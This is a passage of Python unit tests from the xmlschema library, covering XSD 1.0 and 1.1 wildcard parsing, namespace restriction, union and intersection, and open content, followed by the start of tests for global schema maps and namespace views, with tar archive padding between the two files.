self.assertEqual(schema.groups['group1'][0].namespace, {'##any'}) self.assertEqual(schema.groups['group1'][1].namespace, {''}) self.assertEqual(schema.groups['group1'][2].namespace, {'##other'}) self.assertEqual(schema.groups['group1'][3].namespace, {'tns1', 'foo', 'bar'}) self.assertEqual(schema.groups['group1'][4].namespace, {'', 'foo', 'bar'}) self.assertEqual(schema.groups['group1'][5].namespace, {'tns1', '', 'foo', 'bar'}) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> <xs:choice> <xs:any namespace="##all"/> <xs:any processContents="any"/> </xs:choice> </xs:group> </xs:schema>""", validation='lax') errors = schema.all_errors self.assertIn("wrong value '##all' in 'namespace' attribute", str(errors[1])) self.assertIn("value must be one of ['skip'", str(errors[0])) def test_overlap(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> <xs:choice> <xs:any namespace="##local"/> <xs:any namespace="##other"/> <xs:any namespace="##targetNamespace foo bar"/> </xs:choice> </xs:group> </xs:schema>""") any1, any2, any3 = schema.groups['group1'][:] self.assertFalse(any1.is_overlap(any2)) self.assertFalse(any2.is_overlap(any1)) self.assertTrue(any3.is_matching('{foo}x')) self.assertTrue(any3.is_matching('{bar}x')) self.assertTrue(any3.is_matching('{tns1}x')) def test_any_wildcard(self): schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##other" processContents="skip"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].content[-1].namespace, {'##other'}) schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##targetNamespace" processContents="skip"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].content[-1].namespace, {''}) schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="ns ##targetNamespace" processContents="skip"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].content[-1].namespace, {'ns', ''}) schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="tns2 tns1 tns3" processContents="skip"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].content[-1].namespace, {'tns2', 'tns1', 'tns3'}) self.assertEqual(schema.types['taggedType'].content[-1].min_occurs, 1) self.assertEqual(schema.types['taggedType'].content[-1].max_occurs, 1) schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any minOccurs="10" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].content[-1].namespace, {'##any'}) self.assertEqual(schema.types['taggedType'].content[-1].min_occurs, 10) self.assertIsNone(schema.types['taggedType'].content[-1].max_occurs) def test_any_attribute_wildcard(self): schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##other" processContents="skip"/> </xs:sequence> <xs:anyAttribute namespace="tns1:foo"/> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].attributes[None].namespace, {'tns1:foo'}) schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##other" processContents="skip"/> </xs:sequence> <xs:anyAttribute namespace="##targetNamespace"/> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].attributes[None].namespace, {''}) def test_namespace_variants(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> <xs:sequence> <xs:any namespace="urn:a" processContents="skip"/> <xs:any namespace="" processContents="lax"/> </xs:sequence> </xs:group> </xs:schema>""") any1 = schema.groups['group1'][0] self.assertEqual(any1.namespace, {'urn:a'}) any2 = schema.groups['group1'][1] self.assertEqual(any2.namespace, set()) class TestXsd11Wildcards(TestXsdWildcards): schema_class = XMLSchema11 def test_parsing(self): super().test_parsing() schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> <xs:choice> <xs:any notNamespace="##all"/> </xs:choice> </xs:group> </xs:schema>""", validation='lax') errors = schema.all_errors self.assertIn("wrong value '##all' in 'notNamespace' attribute", str(errors[0])) def test_is_restriction(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns1="tns1" targetNamespace="tns1"> <xs:group name="group1"> <xs:sequence> <!-- Case #1 --> <xs:any notNamespace="tns1"/> <xs:any notNamespace="tns1 tns2"/> <xs:any notNamespace="tns1 tns2 tns3"/> <!-- Case #2 --> <xs:any namespace="##any"/> <xs:any namespace="##local" notQName="a b"/> <xs:any namespace="##local" notQName="##defined a b"/> <!-- Case #3 --> <xs:any namespace="##any" notQName="a b c d"/> <xs:any namespace="##local" notQName="a b e"/> <xs:any notNamespace="##local" notQName="tns1:c d e"/> </xs:sequence> </xs:group> </xs:schema>""") any1, any2, any3 = schema.groups['group1'][:3] self.assertEqual(repr(any1), "Xsd11AnyElement(not_namespace=['tns1'], " "process_contents='strict', occurs=[1, 1])") self.assertEqual(repr(any2), "Xsd11AnyElement(not_namespace=['tns1', 'tns2'], " "process_contents='strict', occurs=[1, 1])") self.assertTrue(any1.is_restriction(any1)) self.assertFalse(any1.is_restriction(any2)) self.assertFalse(any1.is_restriction(any3)) self.assertTrue(any2.is_restriction(any1)) self.assertTrue(any2.is_restriction(any2)) self.assertFalse(any2.is_restriction(any3)) self.assertTrue(any3.is_restriction(any1)) self.assertTrue(any3.is_restriction(any2)) self.assertTrue(any3.is_restriction(any3)) any1, any2, any3 = schema.groups['group1'][3:6] self.assertEqual(repr(any1), "Xsd11AnyElement(namespace=['##any'], " "process_contents='strict', occurs=[1, 1])") self.assertEqual(repr(any2), "Xsd11AnyElement(namespace=[''], " "process_contents='strict', occurs=[1, 1])") self.assertTrue(any1.is_restriction(any1)) self.assertTrue(any2.is_restriction(any1)) self.assertTrue(any3.is_restriction(any1)) any1, any2, any3 = schema.groups['group1'][6:9] self.assertFalse(any2.is_restriction(any1)) self.assertTrue(any3.is_restriction(any1)) def test_wildcard_union(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> <xs:sequence> <xs:any namespace="tns1"/> <xs:any namespace="tns1 tns2"/> <xs:any notNamespace="tns1"/> <xs:any notNamespace="tns1 tns2"/> <xs:any namespace="##any"/> <xs:any notNamespace="tns1"/> <xs:any namespace="##other"/> <xs:any notNamespace="tns1"/> <xs:any notNamespace="tns1"/> <xs:any namespace="##other"/> <xs:any namespace="##other"/> <xs:any notNamespace="##local tns1"/> <xs:any namespace="##other"/> <xs:any notNamespace="tns2"/> </xs:sequence> </xs:group> </xs:schema>""") # <xs:any namespace="tns1"/> <xs:any namespace="tns1 tns2"/> any1, any2 = schema.groups['group1'][:2] self.assertEqual(any1.namespace, {'tns1'}) any1.union(any2) self.assertEqual(any1.namespace, {'tns1', 'tns2'}) # <xs:any notNamespace="tns1"/> <xs:any notNamespace="tns1 tns2"/> any1, any2 = schema.groups['group1'][2:4] self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns1'}) any1.union(any2) self.assertEqual(any1.not_namespace, {'tns1'}) any2.union(any1) self.assertEqual(any2.not_namespace, {'tns1'}) # <xs:any namespace="##any"/> <xs:any notNamespace="tns1"/> any1, any2 = schema.groups['group1'][4:6] any1.union(any2) self.assertEqual(any1.namespace, {'##any'}) self.assertEqual(any1.not_namespace, ()) # <xs:any namespace="##other"/> <xs:any notNamespace="tns1"/> any1, any2 = schema.groups['group1'][6:8] any1.union(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns1'}) # <xs:any notNamespace="tns1"/> <xs:any namespace="##other"/> any1, any2 = schema.groups['group1'][8:10] any1.union(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns1'}) # <xs:any namespace="##other"/> <xs:any notNamespace="##local tns1"/> any1, any2 = schema.groups['group1'][10:12] any1.union(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'', 'tns1'}) # <xs:any namespace="##other"/> <xs:any notNamespace="tns2"/> any1, any2 = schema.groups['group1'][12:14] any1.union(any2) self.assertEqual(any1.namespace, {'##any'}) self.assertEqual(any1.not_namespace, set()) def test_wildcard_intersection(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> <xs:sequence> <xs:any namespace="tns1"/> <xs:any namespace="tns1 tns2"/> <xs:any notNamespace="tns1"/> <xs:any notNamespace="tns1 tns2"/> <xs:any namespace="##any"/> <xs:any notNamespace="tns1"/> <xs:any namespace="##other"/> <xs:any notNamespace="tns1"/> <xs:any notNamespace="tns1"/> <xs:any namespace="##other"/> <xs:any namespace="##other"/> <xs:any notNamespace="##local tns1"/> <xs:any namespace="##other"/> <xs:any notNamespace="tns2"/> <xs:any namespace="##any" notQName="##defined qn1"/> <xs:any namespace="##local" notQName="##defined"/> </xs:sequence> </xs:group> </xs:schema>""") # <xs:any namespace="tns1"/> <xs:any namespace="tns1 tns2"/> any1, any2 = schema.groups['group1'][:2] self.assertEqual(any1.namespace, {'tns1'}) any1.intersection(any2) self.assertEqual(any1.namespace, {'tns1'}) # <xs:any notNamespace="tns1"/> <xs:any notNamespace="tns1 tns2"/> any1, any2 = schema.groups['group1'][2:4] self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns1'}) any1.intersection(any2) self.assertEqual(any1.not_namespace, {'tns1', 'tns2'}) any2.intersection(any1) self.assertEqual(any2.not_namespace, {'tns1', 'tns2'}) # <xs:any namespace="##any"/> <xs:any notNamespace="tns1"/> any1, any2 = schema.groups['group1'][4:6] any1.intersection(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns1'}) # <xs:any namespace="##other"/> <xs:any notNamespace="tns1"/> any1, any2 = schema.groups['group1'][6:8] any1.intersection(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns1', ''}) # <xs:any notNamespace="tns1"/> <xs:any namespace="##other"/> any1, any2 = schema.groups['group1'][8:10] any1.intersection(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns1', ''}) # <xs:any namespace="##other"/> <xs:any notNamespace="##local tns1"/> any1, any2 = schema.groups['group1'][10:12] any1.intersection(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'', 'tns1'}) # <xs:any namespace="##other"/> <xs:any notNamespace="tns2"/> any1, any2 = schema.groups['group1'][12:14] any1.intersection(any2) self.assertEqual(any1.namespace, set()) self.assertEqual(any1.not_namespace, {'tns2', 'tns1', ''}) # <xs:any namespace="##any" notQName="##defined qn1"/> # <xs:any namespace="##local" notQName="##defined"/> any1, any2 = schema.groups['group1'][14:16] any1.intersection(any2) self.assertEqual(any1.namespace, {''}) self.assertEqual(any1.not_qname, {'##defined', 'qn1'}) def test_open_content_mode_interleave(self): schema = self.check_schema(""" <xs:element name="Book"> <xs:complexType> <xs:openContent mode="interleave"> <xs:any /> </xs:openContent> <xs:sequence> <xs:element name="Title" type="xs:string"/> <xs:element name="Author" type="xs:string" /> <xs:element name="Date" type="xs:gYear"/> <xs:element name="ISBN" type="xs:string"/> <xs:element name="Publisher" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element>""") self.assertEqual(schema.elements['Book'].type.open_content.mode, 'interleave') self.assertEqual(schema.elements['Book'].type.open_content.any_element.min_occurs, 1) self.assertEqual(schema.elements['Book'].type.open_content.any_element.max_occurs, 1) schema = self.check_schema(""" <xs:complexType name="name"> <xs:openContent> <xs:any namespace="##other" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['name'].open_content.mode, 'interleave') self.check_schema(""" <xs:complexType name="name"> <xs:openContent /> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""", XMLSchemaParseError) def test_open_content_mode_suffix(self): schema = self.check_schema(""" <xs:complexType name="name"> <xs:openContent mode="suffix"> <xs:any namespace="##other" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['name'].open_content.mode, 'suffix') self.assertEqual(schema.types['name'].open_content.any_element.min_occurs, 1) self.assertEqual(schema.types['name'].open_content.any_element.max_occurs, 1) self.check_schema(""" <xs:complexType name="name"> <xs:openContent mode="suffix"/> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""", XMLSchemaParseError) def test_open_content_mode_none(self): schema = self.check_schema(""" <xs:complexType name="name"> <xs:openContent mode="none"/> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['name'].open_content.mode, 'none') self.check_schema(""" <xs:complexType name="name"> <xs:openContent mode="none"> <xs:any namespace="##other" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""", XMLSchemaParseError) def test_open_content_allowed(self): self.check_schema(""" <xs:complexType name="choiceType"> <xs:openContent> <xs:any namespace="##other" processContents="skip"/> </xs:openContent> <xs:choice> <xs:element name="a" type="xs:float"/> <xs:element name="b" type="xs:string"/> <xs:element name="c" type="xs:int"/> </xs:choice> </xs:complexType>""") def test_open_content_not_allowed(self): self.check_schema(""" <xs:complexType name="wrongType"> <xs:openContent> <xs:any namespace="##other" processContents="skip"/> </xs:openContent> <xs:simpleContent> <xs:restriction base="xs:string" /> </xs:simpleContent> </xs:complexType>""", XMLSchemaParseError) self.check_schema(""" <xs:complexType name="wrongType"> <xs:openContent> <xs:any namespace="##other" processContents="skip"/> </xs:openContent> <xs:complexContent> <xs:restriction base="xs:anyType" /> </xs:complexContent> </xs:complexType>""", XMLSchemaParseError) with self.assertRaises(XMLSchemaParseError): self.schema_class("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:openContent> <xs:any namespace="##other" processContents="skip"/> </xs:openContent> <xs:element name="root" /> </xs:schema>""") def test_open_content_wrong_attributes(self): self.check_schema(""" <xs:complexType name="name"> <xs:openContent mode="wrong"/> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""", XMLSchemaParseError) self.check_schema(""" <xs:complexType name="name"> <xs:openContent mode="suffix"> <xs:any minOccurs="1" namespace="##other" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""", XMLSchemaParseError) self.check_schema(""" <xs:complexType name="name"> <xs:openContent mode="suffix"> <xs:any maxOccurs="1000" namespace="##other" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="given" type="xs:string"/> <xs:element name="middle" type="xs:string" minOccurs="0"/> <xs:element name="family" type="xs:string"/> </xs:sequence> </xs:complexType>""", XMLSchemaParseError) def test_default_open_content(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:defaultOpenContent> <xs:any namespace="##other" processContents="skip"/> </xs:defaultOpenContent> <xs:element name="root" /> </xs:schema>""") self.assertIsInstance(schema.default_open_content, XsdDefaultOpenContent) self.assertFalse(schema.default_open_content.applies_to_empty) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:defaultOpenContent appliesToEmpty="true"> <xs:any namespace="##other" processContents="skip"/> </xs:defaultOpenContent> <xs:element name="root" /> </xs:schema>""") self.assertTrue(schema.default_open_content.applies_to_empty) with self.assertRaises(XMLSchemaParseError): self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:defaultOpenContent appliesToEmpty="wrong"> <xs:any namespace="##other" processContents="skip"/> </xs:defaultOpenContent> <xs:element name="root" /> </xs:schema>""") with self.assertRaises(XMLSchemaParseError): self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" /> <xs:defaultOpenContent> <xs:any namespace="##other" processContents="skip"/> </xs:defaultOpenContent> </xs:schema>""") with self.assertRaises(XMLSchemaParseError): self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:defaultOpenContent> <xs:any namespace="##other" processContents="skip"/> </xs:defaultOpenContent> <xs:defaultOpenContent> <xs:any namespace="##other" processContents="skip"/> </xs:defaultOpenContent> <xs:element name="root" /> </xs:schema>""") with self.assertRaises(XMLSchemaParseError): self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" /> <xs:defaultOpenContent mode="wrong"> <xs:any namespace="##other" processContents="skip"/> </xs:defaultOpenContent> </xs:schema>""") with self.assertRaises(XMLSchemaParseError): self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" /> <xs:defaultOpenContent mode="none" /> </xs:schema>""") def test_open_content_restriction(self): schema = self.check_schema(""" <xs:complexType name="baseType"> <xs:openContent> <xs:any namespace="tns1 tns2" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="foo" type="xs:string"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:restriction base="baseType"> <xs:openContent> <xs:any namespace="tns1" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="foo" type="xs:string"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType>""") self.assertEqual(schema.types['derivedType'].content[0].name, 'foo') self.check_schema(""" <xs:complexType name="baseType"> <xs:openContent> <xs:any namespace="tns1 tns2" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="foo" type="xs:string"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:restriction base="baseType"> <xs:openContent> <xs:any namespace="##any" processContents="skip"/> </xs:openContent> <xs:sequence> <xs:element name="foo" type="xs:string"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType>""", XMLSchemaParseError) def test_open_content_extension(self): schema = self.check_schema(""" <xs:complexType name="baseType"> <xs:openContent mode="suffix"> <xs:any namespace="tns1" processContents="lax"/> </xs:openContent> <xs:sequence> <xs:element name="foo" type="xs:string"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"> <xs:openContent> <xs:any namespace="tns1 tns2" processContents="lax"/> </xs:openContent> <xs:sequence> <xs:element name="bar" type="xs:string"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType>""") self.assertEqual(schema.types['derivedType'].content[0][0].name, 'foo') self.assertEqual(schema.types['derivedType'].content[1][0].name, 'bar') self.check_schema(""" <xs:complexType name="baseType"> <xs:openContent mode="interleave"> <xs:any namespace="tns1" processContents="lax"/> </xs:openContent> <xs:sequence> <xs:element name="foo" type="xs:string"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"> <xs:openContent> <!-- processContents="strict" is more restrictive --> <xs:any namespace="tns1 tns2" processContents="strict"/> </xs:openContent> <xs:sequence> <xs:element name="bar" type="xs:string"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType>""", XMLSchemaParseError) def test_not_qname_attribute(self): self.assertIsInstance(self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ns="tns1" targetNamespace="tns1"> <xs:complexType name="type1"> <xs:openContent> <xs:any notQName="ns:a" processContents="lax" /> </xs:openContent> </xs:complexType> </xs:schema>"""), XMLSchema11) self.assertIsInstance(self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ns="tns1" targetNamespace="tns1"> <xs:complexType name="type1"> <xs:sequence> <xs:any notQName="ns:a" processContents="lax" /> </xs:sequence> </xs:complexType> </xs:schema>"""), XMLSchema11) self.check_schema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:group name="group1"> <xs:sequence> <xs:any notNamespace="##local" notQName="c d e"/> </xs:sequence> </xs:group> </xs:schema>""", XMLSchemaParseError) def test_any_wildcard(self): super().test_any_wildcard() self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##other" notNamespace="##targetNamespace" /> </xs:sequence> </xs:complexType>""", XMLSchemaParseError) schema = self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any notNamespace="##targetNamespace" /> </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['taggedType'].content[-1].not_namespace, {''}) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns1="tns1" targetNamespace="tns1"> <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##targetNamespace" notQName="tns1:foo tns1:bar"/> </xs:sequence> </xs:complexType> </xs:schema>""") self.assertEqual(schema.types['taggedType'].content[-1].not_qname, {'{tns1}foo', '{tns1}bar'}) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns1="tns1" targetNamespace="tns1"> <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##targetNamespace" notQName="##defined tns1:foo ##definedSibling"/> </xs:sequence> </xs:complexType> </xs:schema>""") self.assertEqual(schema.types['taggedType'].content[-1].not_qname, {'##defined', '{tns1}foo', '##definedSibling'}) def test_any_attribute_wildcard(self): super().test_any_attribute_wildcard() schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns1="tns1" targetNamespace="tns1"> <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> <xs:any namespace="##other" processContents="skip"/> </xs:sequence> <xs:anyAttribute notQName="tns1:foo"/> </xs:complexType> </xs:schema>""") self.assertEqual(schema.types['taggedType'].attributes[None].namespace, {'##any'}) self.assertEqual(schema.types['taggedType'].attributes[None].not_qname, {'{tns1}foo'}) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="barType"> <xs:anyAttribute notNamespace="tns1"/> </xs:complexType> </xs:schema>""") self.assertEqual(schema.types['barType'].attributes[None].not_namespace, {'tns1'}) self.assertEqual(repr(schema.types['barType'].attributes[None]), "Xsd11AnyAttribute(not_namespace=['tns1'], process_contents='strict')") if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD wildcards') ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_xsd_globals.py������������������������������������������������0000664�0000000�0000000�00000022150�15020401055�0022711�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import unittest import warnings from typing import Any from xmlschema import XMLSchema10, XMLSchema11 from xmlschema.namespaces import NamespaceView import xmlschema.names as nm class TestGlobalMapsViews(unittest.TestCase): @classmethod def setUpClass(cls): XMLSchema10.meta_schema.build() cls.comp0 = XMLSchema10.meta_schema.maps.types[nm.XSD_STRING] cls.comp1 = XMLSchema10.meta_schema.maps.types[nm.XSD_DOUBLE] cls.comp2 = XMLSchema10.meta_schema.maps.types[nm.XSD_INT] @classmethod def tearDownClass(cls): XMLSchema10.meta_schema.clear() def test_init(self): components: Any = {'{tns0}name0': 0, '{tns1}name1': 1, 'name2': 2} ns_view = NamespaceView(components, 'tns1') self.assertEqual(ns_view, {'name1': 1}) def test_repr(self): qnames: Any = {'{tns0}name0': 0, '{tns1}name1': 1, 'name2': 2} ns_view = NamespaceView(qnames, 'tns0') self.assertEqual(repr(ns_view), "NamespaceView({'name0': 0})") def test_getitem(self): qnames: Any = {'{tns0}name0': 0, '{tns1}name1': 1, 'name2': 2} ns_view = NamespaceView(qnames, 'tns1') self.assertEqual(ns_view['name1'], 1) with self.assertRaises(KeyError): ns_view['name0'] # noqa def test_contains(self): qnames: Any = {'{tns0}name0': 0, '{tns1}name1': 1, 'name2': 2} ns_view = NamespaceView(qnames, 'tns1') self.assertIn('name1', ns_view) self.assertNotIn('{tns1}name1', ns_view) self.assertNotIn('{tns0}name0', ns_view) self.assertNotIn('name0', ns_view) self.assertNotIn('name2', ns_view) self.assertNotIn(1, ns_view) def test_as_dict(self): qnames: Any = {'{tns0}name0': 0, '{tns1}name1': 1, '{tns1}name2': 2, 'name3': 3} ns_view = NamespaceView(qnames, 'tns1') self.assertEqual(ns_view.as_dict(), {'name1': 1, 'name2': 2}) ns_view = NamespaceView(qnames, '') self.assertEqual(ns_view.as_dict(), {'name3': 3}) def test_iter(self): qnames: Any = {'{tns0}name0': 0, '{tns1}name1': 1, '{tns1}name2': 2, 'name3': 3} ns_view = NamespaceView(qnames, 'tns1') self.assertListEqual(list(ns_view), ['name1', 'name2']) ns_view = NamespaceView(qnames, '') self.assertListEqual(list(ns_view), ['name3']) class TestXsd10GlobalsMaps(unittest.TestCase): schema_class = XMLSchema10 @classmethod def setUpClass(cls): cls.schema_class.meta_schema.build() cls.total_globals = cls.schema_class.meta_schema.maps.global_maps.total cls.total_components = len(list(cls.schema_class.meta_schema.maps.iter_components())) @classmethod def tearDownClass(cls): cls.schema_class.meta_schema.clear() def test_maps_repr(self): self.assertEqual( repr(XMLSchema10.meta_schema.maps), "XsdGlobals(validator=MetaXMLSchema10(name='XMLSchema.xsd', " "namespace='http://www.w3.org/2001/XMLSchema'))" ) def test_lookup(self): with self.assertRaises(KeyError): XMLSchema10.meta_schema.maps.lookup(nm.XSD_ELEMENT, 'wrong') xs_string = XMLSchema10.meta_schema.maps.lookup(nm.XSD_SIMPLE_TYPE, nm.XSD_STRING) self.assertEqual(xs_string.name, nm.XSD_STRING) with self.assertRaises(ValueError): XMLSchema10.meta_schema.maps.lookup('simpleType', nm.XSD_STRING) def test_deprecated_api(self): with warnings.catch_warnings(record=True) as ctx: warnings.simplefilter("always") maps_dir = dir(XMLSchema10.meta_schema.maps) for k, name in enumerate(filter(lambda x: x.startswith('lookup_'), maps_dir)): with self.assertRaises(KeyError): getattr(XMLSchema10.meta_schema.maps, name)('wrong') self.assertEqual(len(ctx), k+1) self.assertEqual(ctx[k].category, DeprecationWarning) self.assertIn('will be removed in v5.0', ctx[k].message.args[0]) def test_copy(self): maps = self.schema_class.meta_schema.maps.copy() orig = self.schema_class.meta_schema.maps self.assertIsNot(maps, orig) for name in ('types', 'attributes', 'elements', 'groups', 'attribute_groups', 'notations', 'identities', 'substitution_groups'): self.assertIsNot(getattr(maps, name), getattr(orig, name)) self.assertEqual(maps.validation, orig.validation) self.assertIsNot(maps.validator, orig.validator) self.assertEqual(maps.global_maps.total, 0) self.assertEqual(len(maps.namespaces), len(orig.namespaces)) for k, v in orig.namespaces.items(): self.assertIn(k, maps.namespaces) self.assertEqual(len(maps.namespaces[k]), len(v)) maps.build() self.assertEqual(maps.global_maps.total, self.total_globals) def test_clear(self): maps = self.schema_class.meta_schema.maps.copy() orig = self.schema_class.meta_schema.maps self.assertEqual(maps.global_maps.total, 0) self.assertEqual(orig.global_maps.total, self.total_globals) maps.build() self.assertEqual(maps.global_maps.total, self.total_globals) self.assertEqual(orig.global_maps.total, self.total_globals) maps.clear() self.assertEqual(maps.global_maps.total, 0) self.assertEqual(orig.global_maps.total, self.total_globals) maps.build() self.assertEqual(maps.global_maps.total, self.total_globals) self.assertEqual(orig.global_maps.total, self.total_globals) maps.clear(remove_schemas=True) self.assertEqual(maps.global_maps.total, 0) self.assertEqual(orig.global_maps.total, self.total_globals) # XSD meta-schema is still there but incomplete self.assertEqual(len(maps.schemas), 1) maps.build() self.assertEqual(maps.global_maps.total, self.total_globals) self.assertEqual(orig.global_maps.total, self.total_globals) def test_totals(self): self.assertEqual(len(XMLSchema10.meta_schema.maps.notations), 2) self.assertEqual(len(XMLSchema10.meta_schema.maps.types), 92) self.assertEqual(len(XMLSchema10.meta_schema.maps.attributes), 8) self.assertEqual(len(XMLSchema10.meta_schema.maps.attribute_groups), 3) self.assertEqual(len(XMLSchema10.meta_schema.maps.groups), 12) 